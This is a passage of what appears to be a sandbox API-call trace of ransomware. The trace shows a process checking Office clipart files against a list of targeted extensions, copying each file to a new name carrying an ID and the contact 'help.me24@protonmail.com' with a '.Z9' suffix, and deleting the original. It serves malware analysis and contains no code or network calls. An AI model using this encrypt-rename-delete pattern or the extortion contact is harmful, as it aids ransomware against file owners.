	[0093.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0093.563] lstrlenW (lpString=".zip") returned 4
	[0093.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.563] lstrlenW (lpString=".rar") returned 4
	[0093.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.563] lstrlenW (lpString=".bz2") returned 4
	[0093.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.563] lstrlenW (lpString=".7z") returned 3
	[0093.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0093.563] lstrlenW (lpString=".dbf") returned 4
	[0093.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0093.563] lstrlenW (lpString=".1cd") returned 4
	[0093.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF") returned 68
	[0093.563] lstrlenW (lpString=".jpg") returned 4
	[0093.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.563] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.563] lstrlenW (lpString="FD01548_.WMF") returned 12
	[0093.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0093.566] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=10316) returned 1
	[0093.566] CloseHandle (hObject=0x38c) returned 1
	[0093.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 0x220
	[0093.566] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0093.566] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.567] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0093.567] GetLastError () returned 0x0
	[0093.567] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x284c, lpOverlapped=0x0) returned 1
	[0093.568] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x2850, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x2850, lpOverlapped=0x0) returned 1
	[0093.569] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.569] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.569] SetEndOfFile (hFile=0x2bc) returned 1
	[0093.569] CloseHandle (hObject=0x2bc) returned 1
	[0093.570] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.570] SetEndOfFile (hFile=0x38c) returned 1
	[0093.570] CloseHandle (hObject=0x38c) returned 1
	[0093.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf")) returned 1
	[0093.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0093.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0093.571] lstrlenW (lpString=".doc") returned 4
	[0093.571] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.571] lstrlenW (lpString=".docx") returned 5
	[0093.571] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.571] lstrlenW (lpString=".pdf") returned 4
	[0093.571] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.571] lstrlenW (lpString=".xls") returned 4
	[0093.571] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.571] lstrlenW (lpString=".xlsx") returned 5
	[0093.571] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.571] lstrlenW (lpString=".ppt") returned 4
	[0093.571] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0093.571] lstrlenW (lpString=".zip") returned 4
	[0093.571] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.571] lstrlenW (lpString=".rar") returned 4
	[0093.571] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.571] lstrlenW (lpString=".bz2") returned 4
	[0093.571] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.571] lstrlenW (lpString=".7z") returned 3
	[0093.571] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0093.572] lstrlenW (lpString=".dbf") returned 4
	[0093.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0093.572] lstrlenW (lpString=".1cd") returned 4
	[0093.572] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0093.572] lstrlenW (lpString=".jpg") returned 4
	[0093.572] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0093.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0093.572] lstrlenW (lpString=".doc") returned 4
	[0093.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.572] lstrlenW (lpString=".docx") returned 5
	[0093.572] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.572] lstrlenW (lpString=".pdf") returned 4
	[0093.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.572] lstrlenW (lpString=".xls") returned 4
	[0093.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.572] lstrlenW (lpString=".xlsx") returned 5
	[0093.572] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.572] lstrlenW (lpString=".ppt") returned 4
	[0093.572] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0093.572] lstrlenW (lpString=".zip") returned 4
	[0093.572] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.572] lstrlenW (lpString=".rar") returned 4
	[0093.572] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.572] lstrlenW (lpString=".bz2") returned 4
	[0093.572] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.572] lstrlenW (lpString=".7z") returned 3
	[0093.572] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0093.572] lstrlenW (lpString=".dbf") returned 4
	[0093.572] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0093.572] lstrlenW (lpString=".1cd") returned 4
	[0093.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF") returned 68
	[0093.573] lstrlenW (lpString=".jpg") returned 4
	[0093.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.573] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.573] lstrlenW (lpString="FD01657_.WMF") returned 12
	[0093.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0093.573] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=30414) returned 1
	[0093.573] CloseHandle (hObject=0x38c) returned 1
	[0093.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 0x220
	[0093.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0093.573] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.573] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0093.574] GetLastError () returned 0x0
	[0093.574] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x76ce, lpOverlapped=0x0) returned 1
	[0093.575] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x76d0, lpOverlapped=0x0) returned 1
	[0093.625] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.625] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.625] SetEndOfFile (hFile=0x2bc) returned 1
	[0093.625] CloseHandle (hObject=0x2bc) returned 1
	[0093.626] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.626] SetEndOfFile (hFile=0x38c) returned 1
	[0093.627] CloseHandle (hObject=0x38c) returned 1
	[0093.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.627] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1
	[0093.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0093.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0093.627] lstrlenW (lpString=".doc") returned 4
	[0093.627] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.627] lstrlenW (lpString=".docx") returned 5
	[0093.627] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.627] lstrlenW (lpString=".pdf") returned 4
	[0093.627] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.627] lstrlenW (lpString=".xls") returned 4
	[0093.627] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.627] lstrlenW (lpString=".xlsx") returned 5
	[0093.627] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.627] lstrlenW (lpString=".ppt") returned 4
	[0093.627] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0093.628] lstrlenW (lpString=".zip") returned 4
	[0093.636] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.639] lstrlenW (lpString=".rar") returned 4
	[0093.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.639] lstrlenW (lpString=".bz2") returned 4
	[0093.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.639] lstrlenW (lpString=".7z") returned 3
	[0093.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0093.639] lstrlenW (lpString=".dbf") returned 4
	[0093.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0093.639] lstrlenW (lpString=".1cd") returned 4
	[0093.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0093.640] lstrlenW (lpString=".jpg") returned 4
	[0093.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0093.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0093.640] lstrlenW (lpString=".doc") returned 4
	[0093.640] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.640] lstrlenW (lpString=".docx") returned 5
	[0093.640] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.640] lstrlenW (lpString=".pdf") returned 4
	[0093.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.640] lstrlenW (lpString=".xls") returned 4
	[0093.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.640] lstrlenW (lpString=".xlsx") returned 5
	[0093.640] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.640] lstrlenW (lpString=".ppt") returned 4
	[0093.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0093.640] lstrlenW (lpString=".zip") returned 4
	[0093.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.640] lstrlenW (lpString=".rar") returned 4
	[0093.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.640] lstrlenW (lpString=".bz2") returned 4
	[0093.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.640] lstrlenW (lpString=".7z") returned 3
	[0093.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0093.640] lstrlenW (lpString=".dbf") returned 4
	[0093.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0093.640] lstrlenW (lpString=".1cd") returned 4
	[0093.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68
	[0093.640] lstrlenW (lpString=".jpg") returned 4
	[0093.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.641] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0093.641] lstrlenW (lpString="FD01658_.WMF") returned 12
	[0093.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0093.641] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=17924) returned 1
	[0093.641] CloseHandle (hObject=0x38c) returned 1
	[0093.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x220
	[0093.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0093.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0093.642] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.642] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0093.642] GetLastError () returned 0x0
	[0093.642] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x4604, lpOverlapped=0x0) returned 1
	[0093.650] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x4610, lpOverlapped=0x0) returned 1
	[0093.651] ReadFile (in: hFile=0x38c, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0093.651] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1
	[0093.651] SetEndOfFile (hFile=0x2bc) returned 1
	[0093.651] CloseHandle (hObject=0x2bc) returned 1
	[0093.652] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0093.652] SetEndOfFile (hFile=0x38c) returned 1
	[0093.652] CloseHandle (hObject=0x38c) returned 1
	[0093.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0093.653] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1
	[0093.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0093.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0093.653] lstrlenW (lpString=".doc") returned 4
	[0093.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.653] lstrlenW (lpString=".docx") returned 5
	[0093.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.653] lstrlenW (lpString=".pdf") returned 4
	[0093.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.653] lstrlenW (lpString=".xls") returned 4
	[0093.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.653] lstrlenW (lpString=".xlsx") returned 5
	[0093.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0093.653] lstrlenW (lpString=".ppt") returned 4
	[0093.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0093.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0093.653] lstrlenW (lpString=".zip") returned 4
	[0093.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0093.653] lstrlenW (lpString=".rar") returned 4
	[0093.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0093.653] lstrlenW (lpString=".bz2") returned 4
	[0093.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0093.654] lstrlenW (lpString=".7z") returned 3
	[0093.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0093.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0093.654] lstrlenW (lpString=".dbf") returned 4
	[0093.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0093.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0093.693] lstrlenW (lpString=".1cd") returned 4
	[0093.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0093.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0093.693] lstrlenW (lpString=".jpg") returned 4
	[0093.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0093.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0093.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0093.693] lstrlenW (lpString=".doc") returned 4
	[0093.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0093.693] lstrlenW (lpString=".docx") returned 5
	[0093.693] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0093.693] lstrlenW (lpString=".pdf") returned 4
	[0093.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0093.694] lstrlenW (lpString=".xls") returned 4
	[0093.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0093.694] lstrlenW (lpString=".xlsx") returned 5
